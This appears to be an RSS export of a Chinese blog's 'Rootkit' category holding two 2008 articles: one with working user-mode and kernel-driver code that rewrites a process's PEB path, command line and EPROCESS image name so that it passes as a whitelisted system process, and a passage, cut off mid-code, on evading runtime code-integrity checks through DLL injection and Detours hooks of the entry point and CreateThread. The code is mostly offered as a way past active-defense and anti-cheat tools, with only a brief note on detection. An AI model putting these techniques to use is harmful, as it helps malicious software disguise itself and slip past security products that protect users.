﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-NetRoc's Blog-文章分类-Rootkit</title><link>http://www.cnitblog.com/cc682/category/7185.html</link><description>N-Tech</description><language>zh-cn</language><lastBuildDate>Thu, 29 Sep 2011 21:10:39 GMT</lastBuildDate><pubDate>Thu, 29 Sep 2011 21:10:39 GMT</pubDate><ttl>60</ttl><item><title>运行期修改可执行文件的路径和Command Line</title><link>http://www.cnitblog.com/cc682/articles/43271.html</link><dc:creator>NetRoc</dc:creator><author>NetRoc</author><pubDate>Sun, 04 May 2008 07:17:00 GMT</pubDate><guid>http://www.cnitblog.com/cc682/articles/43271.html</guid><wfw:comment>http://www.cnitblog.com/cc682/comments/43271.html</wfw:comment><comments>http://www.cnitblog.com/cc682/articles/43271.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cc682/comments/commentRss/43271.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cc682/services/trackbacks/43271.html</trackback:ping><description><![CDATA[&nbsp;
<p align=center><span>cc682/NetRoc</span></p>
<p><span>目前的很多主动防御工具和反</span><span>XX</span><span>系统，在对特定进程进行保护的时候，出于兼容性的考虑，都会保留一些白名单。特别是一些系统进程，例如</span><span>csrss.exe</span><span>、</span><span>svchost.exe</span><span>等等。而针对这些系统进程，判断是否在白名单中的方式，为了简便起见经常采用取系统路径、可执行文件名的方式。</span></p>
<p><span>内核中比较明显的能够取到可执行文件路径的方法有下面几个：</span></p>
<p><span><span>1、<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span>通过</span><span>PEB. ProcessParameters -&gt; ImagePathName</span><span>取得可执行文件路径，通过</span><span>PEB. ProcessParameters -&gt; CommandLine</span><span>取得执行的命令行，以及</span><span>PEB. ProcessParameters</span><span>里面其他几个成员取得其他一些相关的路径信息。</span></p>
<p><span><span>2、<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span>通过</span><span>nt!_EPROCESS</span><span>的</span><span>ImageFileName</span><span>取得。</span></p>
<p><span><span>3、<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span>通过</span><span>nt!_EPROCESS:: SeAuditProcessCreationInfo:: ImageFileName</span><span>取得。</span></p>
<p><span><span>4、<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span>通过和</span><span>_EPROCESS</span><span>相关的文件对象信息取得。</span></p>
<p><span>常见的方式一般只有</span><span>1</span><span>、</span><span>2</span><span>两种。而上述的前三种方式都可以在运行时被修改掉，用来进行欺骗。特别是</span><span>PEB</span><span>里面的信息由于在</span><span>ring3</span><span>直接就可以访问，实现上来说非常简单。</span></p>
<p><span>下面这段代码通过</span><span>NtQueryInformationProcess</span><span>拿到</span><span>PEB</span><span>，然后修改路径信息：</span></p>
<p><span>HMODULE hMod = GetModuleHandle( _T( "ntdll.dll"));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pfnNtQueryInformationProcess p = (pfnNtQueryInformationProcess)::GetProcAddress( hMod, "NtQueryInformationProcess");</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PROCESS_BASIC_INFORMATION stInfo = {0};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>DWORD dwRetnLen = 0;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>DWORD dw = p( GetCurrentProcess(), ProcessBasicInformation, &amp;stInfo, sizeof(stInfo), &amp;dwRetnLen);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PPEB pPeb = stInfo.PebBaseAddress;</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>WCHAR wszFullPath[MAX_PATH] = {0};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>WCHAR wszTmp2[MAX_PATH] = {0};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscpy( wszFullPath, wszPath);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>MultiByteToWideChar( CP_THREAD_ACP, 0, szName, -1, wszTmp2, MAX_PATH);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscat( wszFullPath, wszTmp2);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscpy( pPeb-&gt;ProcessParameters-&gt;ImagePathName.Buffer, wszFullPath);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pPeb-&gt;ProcessParameters-&gt;ImagePathName.Length = wcslen( wszFullPath) * sizeof(WCHAR);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>int nParamStart = 0;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>WCHAR *wszTmp = new WCHAR[pPeb-&gt;ProcessParameters-&gt;CommandLine.MaximumLength];</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ZeroMemory( wszTmp, sizeof(WCHAR) * pPeb-&gt;ProcessParameters-&gt;CommandLine.MaximumLength);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscpy( wszTmp, pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer[0] == '"')</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>for ( int i = 1; i &lt; pPeb-&gt;ProcessParameters-&gt;CommandLine.Length / 2; i++)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer[i] == '"')</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>nParamStart = i;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( nParamStart != 0)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer[0] == '"')</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer[0] = NULL;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscat( pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer, L"\"");</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>else</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer[0] = NULL;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscat( pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer, wszFullPath);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>wcscat( pPeb-&gt;ProcessParameters-&gt;CommandLine.Buffer, wszTmp + nParamStart);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>delete[] wszTmp;</span></p>
<p><span>这个方式可以欺骗通过</span><span>toolhelp</span><span>函数枚举出来的模块路径，以及直接读取</span><span>PEB</span><span>获取进程主模块路径的方式。</span></p>
<p><span>另外，通过修改</span><span>EPROCESS</span><span>中的主模块名信息，可以欺骗一些在驱动层的程序。基本的代码如下：</span></p>
<p><span>首先需要获取</span><span>EPROCESS</span><span>里面</span><span>ImageFileName</span><span>的偏移。这个函数必须在</span><span>DriverEntry</span><span>里面调用。</span></p>
<p><span>ULONG GetNameOffsetInEProcss()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>PEPROCESS pProcess = NULL;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ULONG i = 0;</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pProcess = PsGetCurrentProcess();</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>for ( i = 0; i &lt; 0x1000; i++)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( strncmp( "System", (PUCHAR)pProcess + i, strlen("System")) == 0)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return i;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return 0;</span></p>
<p><span>}</span></p>
<p><span>然后可以在</span><span>IoCtrl</span><span>里面修改当前进程的名字：</span></p>
<p><span>case IOCTL_CHANGE_EXENAME:</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>szName = (char*)Irp-&gt;AssociatedIrp.SystemBuffer;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if ( !szName)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ntStatus = STATUS_UNSUCCESSFUL;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>break;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pEProcess = PsGetCurrentProcess();</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>strncpy( (PCHAR)pEProcess + g_NameOffsetInEProcess, szName, 16);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ntStatus = STATUS_SUCCESS;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>break;</span></p>
<p><span>由于只是示例，所以只实现了良种方式。修改</span><span>SeAuditProcessCreationInfo</span><span>里面的信息，考虑到兼容性问题，可能稍微复杂一点。不过也可以比较容易的实现。</span></p>
<p><span>这种方式的伪装可以穿过多少主动防御工具没有试过，大家可以去看看，哈哈。</span></p>
<p><span>至于对付的方式，可以通过上面说的第四种取进程路径的方法。不过就比较复杂了，呵呵。</span></p>
<p><span>流程就是，通过</span><span>EPROCESS</span><span>的</span><span>SectionObject</span><span>获得文件的</span><span>FilePointer</span><span>，通过</span><span>ObQueryNameString</span><span>取得这个对象的名字。然后就可以取得主映像模块的路径了。详细的代码可以参考</span><span>wrk</span><span>中</span><span>NtQueryInformationProcess</span><span>的相关实现。</span></p>
<p><span>下面是实现代码</span><span>: <br><a title=ImgPathChanger.rar href="http://www.cnitblog.com/Files/cc682/ImgPathChanger.rar">ImgPathChanger.rar</a></span></p>
<img src ="http://www.cnitblog.com/cc682/aggbug/43271.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cc682/" target="_blank">NetRoc</a> 2008-05-04 15:17 <a href="http://www.cnitblog.com/cc682/articles/43271.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一种躲避运行时代码校验的方法</title><link>http://www.cnitblog.com/cc682/articles/43270.html</link><dc:creator>NetRoc</dc:creator><author>NetRoc</author><pubDate>Sun, 04 May 2008 07:14:00 GMT</pubDate><guid>http://www.cnitblog.com/cc682/articles/43270.html</guid><wfw:comment>http://www.cnitblog.com/cc682/comments/43270.html</wfw:comment><comments>http://www.cnitblog.com/cc682/articles/43270.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/cc682/comments/commentRss/43270.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cc682/services/trackbacks/43270.html</trackback:ping><description><![CDATA[&nbsp;
<p align=center><span>cc682/NetRoc</span></p>
<p><span>关键字：代码校验，内存补丁，</span><span>hook</span></p>
<p><span>我们有时候需要对运行中的程序打内存补丁，或者对它的代码挂一些钩子之类的工作。但是现在相当多软件进行了运行时的代码检测。一旦发现内存中的代码被修改掉，就会进行处理。本文介绍了一种比较特别的办法，用于通过这些检测。</span></p>
<p><span>首先需要说一下做运行时代码校验的方法。一般来说，校验者需要取得当前模块的基地址，通过分析</span><span>PE</span><span>结构，获得代码节的偏移和大小，然后对内存中的代码进行</span><span>CRC</span><span>或者其他的一些校验。</span></p>
<p><span>这其中有个很大的问题，校验者默认了通过这种方式取得的代码节就是当前被使用到的代码，但是事实却不一定如此。一般编译器正常生成的代码，绝大部分跳转和</span><span>call</span><span>语句都使用相对地址，因此，我们完全可以把代码节或者整个</span><span>exe</span><span>文件映像复制到内存其他地方，并操作进程内的所有线程，使得它执行在新复制的那份代码中。这样，校验者仍然在扫描旧的地址，新的那份我们就可以随意修改了。</span></p>
<p><span>由于一旦进程开始执行，并且创建其他线程之后，我们通过取得线程</span><span>Context</span><span>获得的</span><span>EIP</span><span>，多半在系统代码中间，所以难以改变。唯一的方法就是，在</span><span>exe</span><span>的</span><span>EntryPoint</span><span>被执行前，将</span><span>EntryPoint</span><span>重定向到新的代码，并</span><span>Hook CreateThread</span><span>，将新线程也重新定位。可以通过下面几个步骤来实现：</span></p>
<p><span><span>1、<span> </span></span></span><span>如果想处理的进程为</span><span>a.exe</span><span>，并且</span><span>a.exe</span><span>是由</span><span>b.exe</span><span>创建的，那么我们需要</span><span>hook</span><span>掉</span><span>b.exe</span><span>的进程创建函数，一般是</span><span>CreateProcess</span><span>。</span></p>
<p><span><span>2、<span> </span></span></span><span>在</span><span>Hook</span><span>的</span><span>CreateProcess</span><span>中，以</span><span>CREATE_SUSPENDED</span><span>标志创建</span><span>a.exe</span><span>。并向</span><span>a.exe</span><span>中注入我们的</span><span>dll</span><span>，等待这个</span><span>dll</span><span>完成处理之后才</span><span>ResumeThread a.exe</span><span>的主线程。</span></p>
<p><span><span>3、<span> </span></span></span><span>注入的</span><span>dll</span><span>需要完成几件事。首先要获得主模块的基地址和大小，并分配足够的空间，将原始映像复制过去。然后</span><span>Hook</span><span>掉</span><span>EntryPoint</span><span>，并</span><span>Hook CreateThread</span><span>，最后恢复</span><span>a.exe</span><span>主线程。</span></p>
<p><span><span>4、<span> </span></span></span><span>Hook</span><span>掉的</span><span>EntryPoint</span><span>中，恢复被</span><span>Hook</span><span>的</span><span>EntryPoint</span><span>代码，防止在后面被检查出来，然后</span><span>jmp</span><span>到新分配的代码区域即可。</span></p>
<p><span><span>5、<span> </span></span></span><span>Hook</span><span>的</span><span>CreateThread</span><span>中，重新计算代码线程函数地址，并修改后创建。这样，所有线程就都在新分配的代码中执行了。</span></p>
<p><span>下面是注入的</span><span>dll</span><span>的实现代码：</span></p>
<p>&nbsp;</p>
<p><span>pfnCreateThread</span><span> <span>g_pCreateThread</span> = ::<span>CreateThread</span>;</span></p>
<p><span>PBYTE</span><span><span>&nbsp;&nbsp;&nbsp; </span><span>g_pbyNewImage</span> = <span>NULL</span>;</span></p>
<p>&nbsp;</p>
<p><span>#pragma</span><span> <span>pack</span>(<span>push</span>,1)</span></p>
<p><span>typedef</span><span> <span>struct</span> <span>_PUSH_RETN</span></span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>BYTE</span> <span>byOpcodePush</span>;<span>//0x68</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dwRetnAddr</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>BYTE</span> <span>byOpcodeRetn</span>;<span>//0xC3</span></span></p>
<p><span>}<span>PUSH_RETN</span>, *<span>PPUSH_RETN</span>;</span></p>
<p><span>#pragma</span><span> <span>pack</span>(<span>pop</span>)</span></p>
<p>&nbsp;</p>
<p><span>BYTE</span><span> <span>g_abyOldEntry</span>[6] = {0};</span></p>
<p><span>PBYTE</span><span> <span>g_pbyOldEntry</span> = 0;</span></p>
<p><span>PBYTE</span><span> <span>g_pbyNewEntry</span> = 0;</span></p>
<p>&nbsp;</p>
<p><span>//</span><span>这里使用<span>Detours</span>库<span>Hook</span>掉<span>CreateThread</span>。</span></p>
<p><span>BOOL</span><span> <span>HookThreadCreate</span>()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DetourTransactionBegin</span>();</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DetourUpdateThread</span>( <span>GetCurrentThread</span>());</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span>( <span>DetourAttach</span>( &amp;(<span>PVOID</span>&amp;)<span>g_pCreateThread</span>, <span>Hook_CreateThread</span>) != <span>NO_ERROR</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>TEXT</span>( <span>"Hook CreateThread fail\r\n"</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span>( <span>DetourTransactionCommit</span>() != <span>NO_ERROR</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>TEXT</span>( <span>"Hook fail\r\n"</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> <span>FALSE</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
